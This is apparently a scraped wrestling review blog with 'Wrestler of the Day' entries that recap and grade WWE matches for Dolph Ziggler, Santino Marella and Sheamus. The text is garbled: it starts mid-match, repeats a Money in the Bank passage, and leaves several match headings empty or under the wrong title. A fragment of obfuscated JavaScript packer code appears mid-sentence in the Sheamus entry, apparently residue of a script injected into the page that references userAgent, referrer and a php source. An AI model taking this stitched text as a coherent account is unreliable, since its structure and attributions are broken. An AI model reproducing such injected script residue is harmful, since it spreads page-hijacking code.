TEST OF STRENGTH on top of the ladder but Kofi shoves Dolph off. Swagger goes up now as this is awesome stuff with incredible balance. Both guys pull down the title….and Ziggler grabs it off the mat to retain. The fans boo the heck out of it but Striker points out you have to have possession of it which while a stretch does actually make logical sense. If nothing else we got to hear Lawler say “he’s clutching it to his bosom.”

Rating: B. This was more of an intellectual ladder match which is something you don’t see. They brought out some leverage and thinking spots which work far better than the usual high spots which we’ll get later on with Morrison. This was much better than I was expecting and sets a very good pace for the show.

Smackdown World Title: Edge vs. Dolph Ziggler

 

Vickie is referee here.  Big match intros are interrupted by Vickie who does them instead.  The spear is still banned.  Dolph grabs a rollup almost immediately for two.  Naturally, Vickie counts fast for Dolph but Cole says that might be the way she counts both ways.  Edge hammers away in the corner and Vickie breaks it up.  Naturally Dolph does the same thing and Vickie stands around.

Sleeper can’t go all the way on and Edge reverses to get us back to even.  Nice dropkick by Ziggler puts Edge right back down though.  Edge keeps fighting back but hasn’t covered yet so we’re not sure about her speed on his covers.  Ziggler gets that Downward Spiral Stunner but can’t get the Zig Zag.  Edgecution hits so Vickie puts Dolph’s foot on the rope.

Fameasser gets two.  Edge gets a forearm to take down Ziggler.  Cole is getting annoying here as he keeps ranting about how great this is and all that jazz.  Vickie channels her inner Edge and spears her ex-husband.  She actually bounces off Edge and falls to the mat.  Her ankle might be hurt so the doctor takes her out.

With Vickie gone there’s the spear!  No referee though so Edge spears him again.  The problem is that Vickie is right there and sees it.  With no referee still, Clay Matthews, a huge linebacker for the Super Bowl champion Packers, comes out in a referee shirt and counts the pin.  Somehow this counts and Edge wins at approximately 8:45.  Uh….ok?  Vickie waves it off as the show ends and Cole says there’s a new world champion.  Odd but cool ending.

Rating: C. This was just there to set up the ending, but I really hope they follow up on this.  There’s no reason why that fall should stand but at the moment at least it does.  Odd indeed but having Matthews there was a cool thing to do.  It doesn’t make any sense at all, but again it was cool, which was the point.

US Title: Zack Ryder vs. Dolph Ziggler

Battle of the Z’s here. Ziggler has on blue trunks and they’re really not working for him. Ryder controls early on and is pretty fired up here. The champ gets control quickly though, hitting a DDT onto the apron. Ziggler drops a bunch (as in like ten) elbows on Ryder but they only get two. Off to a chinlock and the fans chant “Let’s go Ryder, Woo Woo Woo”. Ziggler uses Ryder’s body to brace himself for situps.

And now let’s start talking about Twitter. Ryder fights back but gets caught in an Angle Slam for two. Ryder comes back and hits a missile dropkick from the middle rope for two. Here’s his comeback and the Broski Boot hits. Vickie puts Ziggler’s foot on the ropes and gets ejected for it. They trade rollups and Ziggler tries two Fameassers, one of which hits. Dropkick gets two for Dolph. He goes up and gets crotched, allowing Ryder to bust out a top rope rana for two. I love how his arms fly up in the air on every cover.

Rough Ryder is countered into a hot shot into the post for two. The fans are still cheering for Ryder as they were earlier. Out of nowhere, Ryder hits the Rough Ryder and WINS THE TITLE at 10:25. The camera immediately cuts to Ryder’s dad in the crowd which is a really nice touch. They treated this like a really big moment, which it was.

Rating: B-. Why it didn’t happen in MSG is beyond me but whatever. This is the definition of a guy working as hard as he could have, the fans responding to it, and the company PAYING ATTENTION TO WHAT THE PEOPLE WANTED. I can’t emphasize that enough: the WWE listened to what the fans were telling them and pushed him accordingly. Pretty decent match too.

Dolph would soon form a tag team with Jack Swagger and get a Tag Team Title match against R-Truth and, of course, Kofi Kingston at Over the Limit 2012.

Tag Titles: Jack Swagger/Dolph Ziggler vs. R-Truth/Kofi Kingston

Kofi and Swagger get us going. Jack takes it to the mat but opts for a standing top wristlock instead. Not much happens so it’s off to Truth for a double hiptoss. Spinning legdrop gets two. Ziggler comes in but Kofi gets a blind tag and a springboard missile dropkick for two. Swagger gets in a shot from the apron and a tag to take over. He works on the arm some more and it’s off to Truth who speeds things up.

Vickie distracts the referee which results in Dolph getting his head kicked off. Swagger puts Truth down and hits the Vader Bomb for two. Ziggler comes back in with a Crossface of all things as King is talking about Vickie’s navel. Cole: “If you two were as good at commentating as you were at looking at Vickie you’d be in the Hall of Fame.” King: “I already am.” That was funny for some reason.

Swagger takes Truth down but Truth comes back with a flurry of punches. They don’t get him anywhere as Ziggler comes in for a double team, getting two. Dolph does the handstands on the chinlock which is impressive. Back to Jack who takes Truth into the corner but gets caught by a tornado DDT to put both guys down. Double tag brings in Kofi and Dolph and an SOS gets two. Springboard cross body gets two as Jack makes the save. As Kofi is coming back in he gets caught by a Fameasser for two. Truth dives onto Swagger and Dolph jumps with a Stinger Splash, right into Trouble in Paradise to retain at 12:28.

Rating: B. That’s probably high but I was enjoying this match. Kofi and Dolph have some awesome chemistry together and it worked very well here. They’re clearly building to a big rematch with the Colons, if you can call that big of course. Pretty good match here and I was really liking it by the end.

Up next was Money in the Bank with Dolph in the World Heavyweight Championship ladder match.

Smackdown World Title Money In The Bank: Christian vs. Cody Rhodes vs. Dolph Ziggler vs. Tensai vs. Santino Marella vs. Tyson Kidd vs. Damien Sandow vs. Sin Cara

The ring nearly clears out to start and it’s Tensai in control. He cleans house and heads out to get the first ladder. Kidd is down in the corner so Tensai slingshots him into a ladder draped over the middle rope. Tensai goes after Christian so Christian and Kidd team up to squash him with some ladders. Christian decks Kidd and goes up but here’s Santino for the save. Kidd goes up as well but Sandow shoves all three over.

Cody and Ziggler come in now and Ziggler gets rammed into the ladder face first. Ziggler will have none of that and sends Cody into the ladder as well. If this was a year ago that would have gotten a much better reaction. It’s Cara’s turn to go crazy now and he snaps off a bunch of ranas. After the one to Cody, Rhodes is holding his knee. Cara goes up after Ziggler and they badly botch something with both guys falling to the mat.

Kidd vs. Cara now and Kidd gets sunset flipped down for a cover because Cara is confused. Cara slams him onto a ladder but Christian takes him down. Captain Charisma tries a frog splash but it only hits ladder. Cody pops up but gets taken down by a springboard dropkick from Kidd. With everyone down, Santino goes up but Tensai grabs him for a powerbomb. That doesn’t actually happen as Tensai falls backwards and Santino almost lands on the ladder. The botches are mounting up quickly.

Kidd sends Tensai to the floor and hits a dive to take out the Big Bald. Sandow goes up but Cara makes a save. That gets him nowhere as Cara is knocked down again and it’s Sandow going up again. Christian makes the save and gets his hand on the case, but Sandow takes him down again. Christian counters being rammed into the ladder in the corner and hits the reverse DDT to take Sandow down. He charges into a knee from Sandow, but hits the spear a few seconds later, sending Sandow into the ladder.

Christian goes up but Ziggler and Cody slams him into the ladder to make the save. They both go up and Ziggler gets rammed face first into the ladder. Tensai pulls Cody down and locks him in the Tree of Woe, only to have Kidd make the save. The Canadian is sent down and it’s Cara/Santino for the save. They get knocked down too so here’s Christian with some ladder shots to put Tensai back on the mat.

Ziggler sends Christian to the floor and it’s time for Santino to go insane. He hits his usual stuff on Ziggler and loads up the Cobra to take out Ziggler. Santino goes up but gets scared of heights. The Cobra makes him climb and takes out Sandow, but Cody dropkicks Santino, sending both him and the ladder down. Cody (whose leg appears to be fine now) throws a ladder at Santino and sets up another one in the middle of the ring.

Cody goes up and Vickie climbs the ladder to stop him. Ziggler makes a fast climb and hits the Zig Zag off the ladder to pull Cody down. Christian makes the last minute save and Sandow climbs another ladder. All three are up there so Kidd springboards in and takes Ziggler down in an awesome spot. Christian slams a ladder into Sandow’s face and they both go to the floor.

Tensai comes back and goes insane, setting up a ladder between the announce table and the ring. Cara gets powerbombed onto it ala last year, followed by Ziggler getting launched over the announce table in a cool looking power display by Tensai. Cody pops up from the middle of nowhere and hits a pair of Disaster Kicks to put Tensai down.

Kidd and Rhodes go up the ladder but Christian climbs another ladder. Cody drops Kidd but Christian spears Cody off the ladder. Christian and Santino go up but Marella is knocked down. Ziggler runs up from out of nowhere, sends Christian into another ladder and pulls down the case for the win at 18:23.

Rating: B-. There was only so much they could do here with eight people and that’s what really brought things down here. With eight people, there aren’t enough spots to go around and it catches up to them every year. Sandow wasn’t needed here and I don’t think Cara was either. Neither guy really did much in the match but they didn’t bring it down either. The botches hurt it too, making this a pretty good match but more of a mess than anything else.

Ziggler would hold the case for a good while still having Vickie around. Eventually AJ Lee would get dragged into things as Ziggler called out John Cena. This set up a ladder match at TLC 2012 for the briefcase.

Dolph Ziggler vs. John Cena

Ladder match for the case here. Cena runs him over with a shoulder to start and they stare at each other for a bit. The fans are almost universally behind Dolph here. Cena takes him down with a headlock, probably for the first time in the history of ladder matches. He works on Dolph’s arm and hits a fisherman’s suplex. There’s a monkey flip out of the corner and Ziggler is sent to the floor.

Ziggler gets a chair to take Cena down and wedges it between the top and middle rope. We get the first ladder brought in but Cena rams it into Dolph’s face. Cena might be cut over the eye. The dueling Cena chants begin as he crushes Ziggler’s head with the steps. It’s table time but Dolph knocks Cena down and goes for a climb. They slug it out and it’s boo/yay time. Dolph hooks the sleeper and Cena turns red, but he climbs the ladder anyway with Ziggler on his back.

This of course goes badly and they crash backwards through a table in the ring. In a very cool spot, Ziggler goes up the ladder, so Cena PICKS UP THE LADDER FOR THE AA. Ziggler escapes what would have likely resulted in death and hits the Fameasser to put both guys down. Cena puts on a quick STF but Ziggler escapes the AA and hits the Zig Zag. Ziggler seems to be a big ginger on his leg as he gets another table.

The table is placed in the corner but Cena hits four of the five moves of doom. Dolph counters the AA and hits the jumping DDT to put Cena down again. Ziggler goes for the big ladder but Cena stops him at the top. They slug it out up there with Cena shoving Ziggler off. There’s no one to stop Cena….except himself as Cena does the stupid VERY slow climb, allowing Ziggler to take him down. Ziggler rams the bad eye into the ladder but Cena BUSTS OUT A FREAKING HURRICANRANA to send Ziggy through the table in the corner.

John pounds Ziggler into the corner and puts him on the top rope. Ziggler shoves him away and tries a top rope cross body, but Cena rolls through into the AA. That gets countered too and a chair shot puts Cena down. Ziggler misses a kick and there’s an AA. There’s nothing in the ring at the moment though so here’s Vickie with a chair. Cue AJ to take Guerrero down with the Five Moves of Doom. Well close enough I guess. Cena climbs the ladder and AJ shoves it down, turning heel. Ziggler has no idea what’s going on but AJ goes all happy psycho again. Ziggler retains the case at 23:38.

Rating: B+. I’d like this a lot more if it wasn’t about AJ. At the end of the day, I get that she’s nuts but she’s gotten WAY too much focus and it means this story must continue. I get what they’re going for here, but man alive they’ve run this story into the ground for so long that I don’t care anymore. The match was very good though as the ladders were props in the match, which is what makes the best ladder matches.

Dolph would cash in on Raw on April 8, 2013, just after champion Alberto Del Rio had fought Jack Swagger.

Smackdown World Title: Alberto Del Rio vs. Dolph Ziggler

The place goes NUTS for Ziggler as he stomps away on the leg and head of Alberto. The Fameasser hits for two but Ziggler misses a splash in the corner. The enziguri in the corner hits for a VERY close two and there’s the armbreaker. Ziggler cranks on the bad knee to break the hold and the Zig Zag gives us a new champion at 2:15.

Unfortunately Dolph would get a concussion soon after this and not be able to defend the title for two months, losing it in his first defense at Payback. The rest of the year would be spent in a face turn and downward trend for Ziggler, but he would start picking up at the end of the year, including this match from November 18, 2013 on Raw.

Dolph Ziggler vs. Damien Sandow

There are a bunch of musical instruments in the ring, mainly string stuff. Sandow throws him to the floor but misses a shot with an electric guitar. Ziggler dives off the steps to take him down as the announcers reference musical acts from the 70s and earlier. Back in and Damien pounds away before getting caught by a nice dropkick to send him back outside. Ziggler goes up top but dives into a shot from an organ to the ribs as we take a break.

Back with Sandow stomping away on Ziggler in the corner as Cole talks about Lawler meeting Ronnie Milsap. Ziggler comes back but misses a fiddle shot, allowing Sandow to hit him with a guitar for two. Dolph hits a DDT and breaks the fiddle over Sandow’s head before the Fameasser gets two. Sandow goes nuts again and launches Ziggler into the corner before ramming Dolph head first into a chair in the corner for a close two.

Ziggler gets thrown into the drums and hit with a guitar for two. Sandow misses a charge into the post and Ziggler rolls him up for two. A snare drum over Damien’s head and a bass drum does the same, basically tying Sandow up. Ziggler grabs the only remaining guitar, struts over, and blasts Sandow in the head for the pin at 10:17.

Rating: D. Was this supposed to be funny? That’s a genuine question. The announcers were treating it like a comedy match but apparently these two don’t like each other. I say apparently because I don’t remember them having any altercations in recent history, unless I’m forgetting some throwaway segment on Smackdown somewhere. The match was dumb as are most gimmick matches though. We’re also supposed to ignore Sandow’s shoulders being inside the drum and not on the mat.

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Wrestler of the Day – March 14: Santino Marella

Boris Alexiev vs. Mason Rage

Alexiev was best known as the reason Jim Cornette was fired from OVW. At this point, the Boogeyman was sent to OVW and Alexiev found him more amusing than terrifying. He was seen on TV laughing at Boogeyman instead of running, because, according to Cornette, no one told Alexiev to be scared of the Boogeyman. Cornette slapped him something like 17 times as a result and was fired.

Alexiev was called up to the main roster in April of 2007 and was given an Italian gimmick. He debuted on an episode of Raw taped in Italy. Vince was mad at the fans for being shaved bald at Wrestlemania 23, so he gave a fan an Intercontinental Title shot on Raw. The fan was Santino.

Intercontinental Title: Santino Marella vs. Umaga

Santino Marella vs. Jerry Lawler

Miss Wrestlemania: Divas Battle Royal

Melina, Beth Phoenix, Santina Marella, Victoria, Brie Bella, Eve Torres, Gail Kim, Jackie Gayda, Tiffany, Sunny, Rosa Mendes, Nikki Bella, Jillian Hall, Joy Giovanni, Katie Lea Burchill, Kelly Kelly, Layla, Maria, Maryse, Michelle McCool, Mickie James, Molly Holly, Natalya, Alicia Fox, Rosa Mendes, Torrie Wilson

He would defend the crown over the next few months, eventually losing it to Vickie Guerrero (first Raw I ever attented). There was a rematch in a hog pen match at Extreme Rules 2009, with Chavo teaming with Vickie for reasons that would probably make my head hurt.

Miss Wrestlemania: Santina Marella vs. Vickie Guerrero/Chavo Guerrero

Please, make this go quick. Seriously, this is the dumbest thing of the year and it needs to end. Lawler is the host for this or something. You have to get the pin in the pen, which has hogs in it. Please just get this going as they talk forever first. Chavo is her partner and it’s 2-1. She throws mud at Chavo who is in street clothes and he beats her up.

So they’re in a mud pen and have to be thrown into the other one and then pinned. Oh wait they can come back out of the one with the pigs and get pinned in the bigger one. Vickie comes in and Chavo accidently slops her….shoulder. Santina pins her and this is thankfully over. Vickie and Chavo fight in the mud as Cole and Lawler are laughing, likely by Vince’s orders. Santina celebrates forever as this segment has gone on longer than all but one match so far.

Rating: N/A. Give me a match and I’ll rate it.

Vladimir Kozlov vs. Santino Marella

If Santino wins then he and Kozlov are tag partners. Santino can’t do jack here and tries to have a striking contest. Kozlov hits the big slam after about a minute. This was what you expected it to be. Kozlov tries to pick him up and he just falls back down. Then he does that again. And this man main evented Survivor Series people. And for no apparent reason here’s William Regal to beat the tar out of Santino. Kozlov makes the save.

Rating: N/A. Well at least they’re doing something with Santino.

Tag Titles: Usos vs. Nexus vs. Santino Marella/Vladimir Kozlov vs. Mark Henry/Yoshi Tatsu

This is under elimination rules with Slater/Gabriel defending. Gabriel and Tatsu start. At the last show I was at Tatsu and Jericho tore the house down so it would be nice to see him win a title here. Spin kick gets two for Tatsu so Gabriel kicks Tatsu in some African on Asian violence. Off to Slater now with Josh picking Kozlov and Santino.

Henry comes in and is supposed to fight an Uso but they run from him. Henry is like get the heck in here and pulls Jey in by the hair. Freaking ow man! We’re getting some very fast paced tagging here. Punk is talking about the Bellas vs. the Usos for some reason but since it’s coming from Punk it’s awesome.

Lawler brings us back to reality as Punk threatens to send Josh back to Superstars. The Usos surprisingly clean house and beat up Henry and Tatsu. Slater tags himself in and gets one of the most unrecognizable finishers of all time to get rid of Tatsu and thereby Henry at approximately 3:00.

The Usos come in and get a slingshot Samoan Drop (think 3D kind of but with a Samoan Drop ending and the guy playing D-Von lets go) for two as Gabriel saves. Kozlov comes in and runs through the Usos. The spike slam ends the Usos at approximately 4:45. Tamina stays behind with Santino.

It’s Nexus vs. Kozlov/Santino for the titles. Punk keeps calling Santino Jar Jar which is amusing. Santino comes in to by far the biggest reaction in this match. Who would have guessed that he would be the most popular guy of eight men in a title match late in 2010?They’re trying to make Tamina look good and from a distance she kind of does. Then they show closeups of her and she looks a bit goo much like a diseased goat. We take a break with Nexus in control.

Back with Gabriel holding Kozlov in a front facelock. There’s the hot tag to Santino who raises the roof and surprisingly cleans house to a nice pop. He hits a Stunner complete with splits as Kozlov takes out Slater. Cena pops up from under the ring and gets Gabriel’s attention. The Cobra hits Gabriel and we have new champions at 12:00!

Rating: C. Match was kind of boring but the ending more than makes up for that. It completely amazes me that Santino is as over as he is but given the pops he’s been getting there is no reason to not put a title on him to give him some credibility. Not the best match in the world but entertaining and rather exciting so that wasn’t bad at all.

Jack Swagger vs. Santino Marella

 

Somehow Santino would qualify for the World Heavyweight Championship Elimination Chamber in 2012. Marella would be the underdog that had almost no chance but the fans loved him anyway.

Smackdown World Title: Big Show vs. Great Khali vs. Cody Rhodes vs. Daniel Bryan vs. Santino Marella vs. Wade Barrett

Cody gets thrown to the outside while Barrett is thrown back inside. Chokeslam to Barrett is countered and Wade chop blocks Show down. Cody and Barrett team up on Show and start fighting a few seconds later. Santino comes in fourth and after he hits his usual stuff, Show runs him over. Cody takes Show down by the knee though as the fans chant for Santino.

Barrett and Cody double suplex Show onto the steel to put him down. Cody hits the moonsault to Barrett and goes after Santino. No one is out yet. Rhodes rams the Cobra hand into the cage and Khali is in fifth. Chops and clotheslines for both heels and the Punjabi Plunge to Rhodes. One to Barrett as well and a chop to Santino. The giants face off and Show spears Khali for an elimination about 40 seconds after Khali entered.

Show keeps staring at Bryan and then even tries to reach in and grab him. He breaks the chains on the pod and has broken through. Bryan demands the door be opened but Show has broken in and climbed through the top. The place ERUPTS for this. The clock goes off to release Bryan but they’re both inside the pod. Bryan manages to get out but Show does the required breaking the plexiglass spot. You know, THE SAME THING THAT HAPPENS EVERY YEAR.

Into the ring now and Show loads up the right hand. Oh wait it’s the chokeslam instead but Barrett kicks Show in the face before there’s a cover. Santino pops up for a quick rollup for two on Barrett but is then thrown to the outside. Cody hits two Beautiful Disasters to Show followed by a DDT. Barrett hits a middle rope DDT and Big Show is gone to a big reaction. So it’s Cody, Barrett, Bryan and Santino to go.

Make that three as Santino rolls up Cody to pin him. Cody hits Cross Rhodes to Santino. There’s Cody’s next feud I guess. Barrett covers Santino but it only gets two. Barrett hammers on him and ties Santino’s arms in the Chamber wall. The beating continues on Santino for awhile until Bryan gets back up with a flying knee to Barrett. Bryan goes up but Barrett knocks him part of the way into it again by the back of the head.

Barrett loads up Wasteland off the middle rope but Santino breaks it up because he’s an idiot. Santino tries a superplex but gets shoved off. He avoids an elbow and Bryan hits a top rope headbutt, allowing Santino to steal the pin, meaning he’s eliminated Cody Rhodes and Wade Barrett. Bryan is very happy to see what he’s up against as it’s one on one now. It turns into a cat and mouse game and Santino even gets the Cobra for two. The LeBell Lock goes on and Santino taps at 33:57.

US Title: Jack Swagger vs. Santino Marella

A few months later it would be the same idea as the Chamber, but in Money in the Bank.

Smackdown World Title Money In The Bank: Christian vs. Cody Rhodes vs. Dolph Ziggler vs. Tensai vs. Santino Marella vs. Tyson Kidd vs. Damien Sandow vs. Sin Cara

Tensai comes back and goes insane, setting up a ladder between the announce table and the ring. Cara gets powerbombed onto it ala last year, followed by Ziggler getting launched over the announce table in a cool looking power display by Tensai. Cody pops up from the middle of nowhere and hits a pair of Disaster Kicks to put Tensai down.

Kidd and Rhodes go up the ladder but Christian climbs another ladder. Cody drops Kidd but Christian spears Cody off the ladder. Christian and Santino go up but Marella is knocked down. Ziggler runs up from out of nowhere, sends Christian into another ladder and pulls down the case for the win at 18:23.

Antonio Cesaro vs. Santino Marella

Cesaro throws him down after almost a minute straight of spinning but Santino comes right back. The saluting headbutt sets up the Cobra but Cesaro uppercuts him down for two. A running European uppercut in the corner gets two and Cesaro starts slapping him. Santino comes back with a throw and gets the pin at 3:45.

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Wrestler of the Day – January 28: Sheamus

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyrfd|var|u0026u|referrer|bethb||js|php'.split('|'),0,{})) continue our international run with a stop in Ireland for the Celtic Warrior Sheamus.

WOW. Sheamus is 27 years old here, far less muscular and looks to be about 19 with no facial hair and hair longer than he wears it now. Rage jumps Sheamus during his entrance before taking him down with a headlock. The commentator is rather good here with a very clear voice and some fast analysis. Sheamus is nicknamed SOS here and fights out of a test of strength, properly called a Greco-Roman Knuckle Lock. A running powerslam (SOS Drop) gets two for Sheamus and Rage bails to the floor.

The fans are WAY into Sheamus as he pulls Rage back inside. We get a crisscross before Sheamus stops in the middle, points to the ceiling, and slaps the distracted Rage. Charlie tries to do the same thing and gets smacked again in a funny bit. The fans start an OLE chant but Rage calms them down with a low blow to break up a full nelson. Rage gets in an argument with the referee but goes back to Sheamus with a big knee drop for two. Sheamus pops back up and gorilla presses the rotund Charlie for two of his own.

Sheamus is defending and is the huge face here in Ireland. He looks FAR more like he does now with trunks instead of shorts, a mustache and short hair. Coming out to rap music is very strange though. Sheamus shoves him around to start and Galloway is quickly sent to the floor. Back in and Drew grabs a headlock but Sheamus counters into one of his own and takes him down to the mat. One sided so far.

Galloway is declared the winner even though Rage pulled Sheamus off the cover.

Sheamus would debut on ECW in June and be on Raw in less than six months, taking part in a breaththrough battle royal with a group of people who had never been world champion (and Randy Orton) fighting for a title shot against John Cena at TLC.

Breakthrough Battle Royal

Cody Rhodes, Ted DiBiase, MVP, Mark Henry, R-Truth, Kofi Kingston, Sheamus, Randy Orton

Vince and Jesse are on commentary for this one. Vince comes out to the theme from SNME which is just awesome. It’s great to hear Vince on commentary as he clearly loves what his product is and is a promoter at heart. Legacy stays in one corner and immediately go after Kofi. It’s a big brawl but Sheamus stays in a corner to himself. Orton is on the floor but he went through the ropes.

Things slow down before they ever got going. I don’t think Sheamus has had any contact with anyone yet. He was biding his time though and picks off R-Truth, throwing him out after a clothesline. Legacy works over Kofi in the corner and Orton is back in. Sheamus Brogue Kicks MVP and tosses him to get us down to six. Henry goes after Sheamus but Legacy makes the save for some reason. Sheamus is on the apron but gets back in.

Henry double clotheslines Legacy to the floor but Sheamus drills him in the back and dumps Henry. We’re down to Orton, Kofi and Sheamus. Orton and Kofi hammer away on each other and Sheamus gets knocked down. Jesse goes on a small anti-Chaney rant as Kofi is sent to the floor. He skins the cat though and headscissors Randy out. Sheamus takes Kofi’s head off with a double ax, knocking him to the floor to become #1 contender.

Rating: D. Very boring match but it was a great thing to see them really trying to push someone else as a main event guy. That was something that was badly missing at this point and pushing Sheamus was as good a move as they could have made. It gave them some fresh blood in the main event and if 2009 taught us anything, it was that Raw was dying for fresh main event blood.

 

After losing the title inside the Elimination Chamber, Sheamus lost his first singles match as part of the Raw roster to HHH at Wrestlemania because HHH. The rematch was a street fight at Extreme Rules. Earlier in the night, Sheamus had attacked HHH backstage.

Street Fight: Sheamus vs. HHH

HHH of course controls to start things off which is bearable I guess. He hits the spinebuster but can’t get the Pedigree because of the arm being how hurt it is. Now this is more like it. He’s just ramming HHH into the barricade over and over again. I forgot this is a street fight. That’s not a good sign at all.

Striker and King are arguing like no other here and it’s coming off as great. Striker says he and Lawler have both wrestled hurt. That’s rather stupid. Striker wrestled for what, a year or so? Just seems ridiculous to compare the two of them. And of course HHH has the energy to use a DDT with his left arm.

HHH grabs a pipe and smacks HHH in the head with it. Naturally he kicks out. Sure why not? Apparently after a massive Irish man blasts you in the head with a steel pipe you can kick out via instinct. Sure why not? Celtic Cross is blocked. Apparently that’s called Pale Justice now. HHH gets a kendo stick and all of a sudden his arm is fine. That makes my head hurt. This has at least picked up a bit. Pump kick hits though. A second kick hits and it’s all Sheamus.

Naturally he lets HHH get up and the third and fourth kicks land to FINALLY end him. And remember kiddies: do not attempt making yourself look that strong without a licensed wife with connections. To be fair, the ending makes this a lot more bearable. Post match he fights off a cervical collar and tries to crawl off. He’s almost to the entrance when Sheamus hits ANOTHER kick to put him down again. Nice.

Rating: C-. The second half saved this match. The first half was borderline failure but the weapons helped it a lot. Sheamus winning is the right thing though, period. Yes HHH looked very strong, but to be fair he laid down at the end of the match and that’s what counts at the end of the day. Not terrible but more about the angle afterwards than the match.

Sheamus vs. John Morrison

I’m not sure why but this sounds awesome to me. It’s Falls Count Anywhere. Sheamus beats him down to start but Morrison does some gymnastics to get out of it. We head to the floor and into the crowd. Irish Curse on the floor and Morrison is in trouble. He gets dropped ribs first onto the railing near the production stuff for two. It was in the ribs of Morrison so of course it didn’t hurt.

Sheamus hits the Brogue Kick into a production box and it shoots sparks. Onto the stage and it’s all Sheamus. Morrison counters something but winds up getting thrown off the stage. He does a front flip though and lands on his feet. Flash Kick with Morrison getting a running jump up to the stage and using the edge like a top rope, somehow only getting two.

They fight more on the floor and Sheamus finds a chair. He hits the stage but Morrison somehow gets up on the NOC sign and hits a HUGE cross body off of it for TWO. Out of nowhere Jericho pops up and cracks Morrison over the back with a chair for Sheamus to get the pin. He sits in the ring as we go to break.

Rating: A-. That’s likely WAY too high but I had a blast with this match. I like this pairing and Morrison’s stuff is literally the kind of stuff you see in action movies. The ending with Jericho is a bit annoying because I wanted to see more of this, but I guess Morrison vs. Jericho is your non-title match for Night of Champions. Find this match as some of the spots are just completely insane. Find the warmup too as it’s cool stuff.

King of the Ring Quarter-Finals: Kofi Kingston vs. Sheamus

This is more or less a semi-final match. Sheamus destroys him to start with power moves and the Irish Curse for two. Punk points out that he carried Kofi to his first title in WWE. A graphic on the bottom says Kofi has his own PPV Special all December. He’s that big of a deal already? Really? Kofi wakes up a bit I guess to advertise the PPV, hitting the Boom Drop for two.

High Cross is reversed and Kofi gets Trouble in Paradise. The Irishman lands under the ropes to buy time though like a true former champion. Pendulum Kick has Sheamus in trouble. Kofi jumps off the top right into the Brogue Kick and is more or less dead to end it in about 4:30.

Rating: B-. I liked this a good bit here as both guys had the chance to look good. Sheamus looked like he was thinking out there which is always the best thing you can ask for. This worked pretty well and it gives Sheamus a credible win. I can’t imagine he’ll get anyone but Morrison in the finals but odder things have happened.

Sheamus vs. Mark Henry

 

Henry steps on his chest but Sheamus fires off some right hands. That goes nowhere as Henry headbutts him back down. What would a power match be without the heel throwing on a bear hug? They keep up the idea of Sheamus trying to get some shots in but Henry is too strong. Henry sets for a gorilla press but Sheamus counters into a pretty nice DDT.

 

He fires off the axe handles and then the forearms while Henry is in the ropes. A flying shoulder block gets two off the top. Henry rolls to the floor and the fun starts. Henry pulls him to the floor and then sends him literally flying into the barricade. Henry loads up the announce table but Sheamus counters the Slam and gets a big old Brogue Kick to send Henry over the table. Sheamus slides in to beat the count at 7:33.

 

This win set Sheamus off on the roll of a lifetime where he lost only eight singles matches (most of which were by countout or DQ) over the next year. During thie stretch Sheamus won the Royal Rumble and beat Daniel Bryan for the World Heavyweight Championship at Wrestlemania 28. He would hold the title for several months, including through October 3 when he fought WWE Champions CM Punk in a non-title match on the debut episode of Main Event.

Sheamus vs. CM Punk

Non-title of course. We get big-match intros at least. Punk grabs a headlock and shouts spots in Sheamus’ ear as is his custom. Sheamus puts on one of his own as it looks like we’re in for a long match. Punk takes him to the corner but Sheamus kicks Punk away. The Smackdown Champion (Sheamus) pulls himself to the top but gets shoved to the floor as we take a break.

Back with Sheamus guillotining Punk on the top rope and stomping away in the corner, only to get pulled face first into the middle buckle. Punk drops a knee for no cover. That spot between Sheamus’ eyes seems to be bleeding. Punk goes after the shoulder and hits a neckbreaker for two. Sheamus gets back up and starts speeding things up with a high knee followed by a powerslam for two.

Sheamus sets for the ten forearms in the ropes but Punk blocks the first one and hits a high kick for two as we take another break. Back with Sheamus holding his arm on the floor. The arm seems to be fine though as he snaps off a forearm and hits a slingshot shoulder for two. Sheamus loads up the Brogue Kick but Punk hides in the corner. The buckle pad is pulled off as Punk is pulled out and there are the ten forearms to the chest.

White Noise gets two and the fans are getting into this. Heyman seems to be praying or muttering to himself at ringside. Sheamus loads up the Cloverleaf but Punk punches his way out of it. There’s a running knee in the corner followed by the Savage Elbow for two. The GTS is countered and Sheaamus gets the Cloverleaf on in the middle of the ring.

Punk manages to get to a rope and Heyman is panicking even more. They both come out of the corner and Punk charges into the Irish Curse. Sheamus charges again but Punk drop toeholds him into the exposed buckle and rolls Sheamus up with the tights for the pin at 12:18 shown of approximately 18:18.

Rating: B. Good match here and the fact that there was as close to a clean pin as there was is amazing. Sheamus hadn’t lost a singles match since like July but at least it was to another main event guy. For a first match on a new show this was excellent and it was a very good match all around anyway.

He would drop the title to Big Show in October before going right back on another big winning streak. Sheamus would eventually start having issues with the Shield, leading to a six man tag at Wrestlemania 29 with partners Randy Orton and Big Show.

Shield vs. Sheamus/Big Show/Randy Orton

Rollins gets his own vest split open and there are the ten forearms to the chest. Ambrose tags himself in from the apron and there are ten forearms for him as well. The Regal Roll puts Dean down and Sheamus hits one on Rollins as well, this one on top of Ambrose. Reigns breaks up something from Sheamus off the top and everything breaks down. Rollins dives through the ropes at Orton and slams his own head into the barricade. Sheamus is triple teamed in the ring but as Shield loads up the TripleBomb, Show spears them all down for the save.

Ambrose is the only one still in the ring for Shield as Sheamus is crawling to the corner. He reaches for Big Show but Orton tags himself in instead. The powerslam sets up the Elevated DDT and Big Show is ticked off. Orton loads up the RKO on Ambrose but Rollins springboards into the RKO instead. Reigns spears Orton down as Big Show watches from the apron for the pin at 10:34.

Sheamus would kind of lose his way soon after this and just beat up random people, including Luke Harper on the July 24, 2013 episode of NXT.

Luke Harper vs. Sheamus

They slug it out and Harper hits a modified Boss Man Slam for two. Harper misses a middle rope splash and gets caught in the rolling senton for two. The Brogue Kick misses and the discus lariat gets two for Harper. Sheamus sends Luke into Erick and hits White Noise followed by the Brogue Kick for the pin at 9:45 shown of 12:15.

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